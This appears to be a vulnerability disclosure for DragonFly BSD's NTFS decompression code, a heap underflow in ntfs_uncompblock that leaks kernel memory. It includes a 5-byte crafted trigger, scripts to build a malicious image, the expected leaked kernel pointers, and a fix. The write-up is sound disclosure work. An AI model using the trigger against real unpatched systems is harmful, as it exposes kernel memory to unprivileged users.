# DF-0932 — NTFS LZNT1 back-reference underflow (kernel heap info leak)

LZ77 back-reference offset is not bounded to the current output
position in `ntfs_uncompblock`. A crafted compressed NTFS file makes
`buf[pos + boff]` underflow `buf` and read up to ~2 KB of kernel heap
preceding the `M_NTFSDECOMP` `uup` allocation. The leaked bytes are
shipped to the reader via `uiomove`. Reachable by any reader of a
mounted NTFS compressed file.

## Source
- Bug:  `sys/vfs/ntfs/ntfs_compr.c:74-82`
- Sink: `sys/vfs/ntfs/ntfs_subr.c:1723` (`uiomove(uup + off, tocopy, uio)`)

## Trigger

A 5-byte LZNT1 block at the start of a compression unit:
```
0x02 0x80 0x01 0xFF 0xFF
   header 0x8002 (compressed, len=2)
   tag    0x01   (first sub-token = back-reference)
   token  0xFFFF (LE) -> at pos=0 dshift=12 lmask=0xFFF:
       boff = -1 - (0xFFFF>>12) = -16
       blen = 3 + (0xFFFF & 0xFFF) = 4098
       -> reads buf[-16..-1] (heap before uup) into buf[0..15]
```

## Build & run

```
./build.sh          # builds harness (guest) + ntfs_evil.img (host)
./run.sh            # harness + live in-kernel reproduction
```

The live path expects the DragonFly guest up via `dfbsd-qemu/vm.sh`.

## Expected

### Deterministic harness (`harness.c`)
- Variant 1: preceding page = sentinel; output `buf[0..2]` matches the
  sentinel tail. LEAK CONFIRMED.
- Variant 2: preceding page PROT_NONE; SIGSEGV at `buf[-16]`.

### Live kernel (#0 GENERIC, unpatched ntfs.ko)
- `cat /mnt/evil/F` returns 4096 bytes; the first 16 are kernel heap
  pointers (e.g. `00 70 bd 00 08 00 00 00 c0 34 6a 00 08 00 00 00`).
- Reproducible as unprivileged user (uid 1001) when root mounts with
  `-o ro,-u=1001,-g=1001`.

### Patched (ntfs.ko with `fix.diff`)
- `cat /mnt/evil/F` returns `Invalid argument` (EINVAL). 0 bytes.
- Same for unprivileged maxx.

## Fix
`fix.diff`: reject malformed back-references in `ntfs_uncompblock`:
```c
if (pos + boff < 0)
    return (0);   /* ntfs_uncompunit maps new==0 to EINVAL */
```

See `VERDICT.md` for the full narrative.
